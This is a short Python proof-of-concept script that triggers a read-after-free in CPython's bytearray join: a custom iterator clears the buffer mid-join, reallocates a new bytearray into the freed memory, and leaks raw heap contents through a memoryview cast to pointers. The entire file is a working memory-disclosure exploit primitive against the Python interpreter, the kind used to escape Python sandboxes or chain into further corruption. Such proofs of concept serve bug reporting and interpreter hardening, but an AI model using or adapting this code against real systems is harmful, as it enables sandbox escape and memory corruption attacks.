# stringlib_join_ReadAfterFree.py

def ReadAfterFree(size, do):
    b = bytearray(size)
    class T:
        def __iter__(self):
            b.clear()
            self.v = do()
            yield b''
            yield b''

    c = b.join(t:=T())
    return memoryview(c).cast('P'), t.v

if __name__ == '__main__':
    leak, obj = ReadAfterFree(bytearray.__basicsize__, lambda: bytearray(8))
    print('bytearray:', obj)
    print('leaked memory of buffer:', leak.tolist())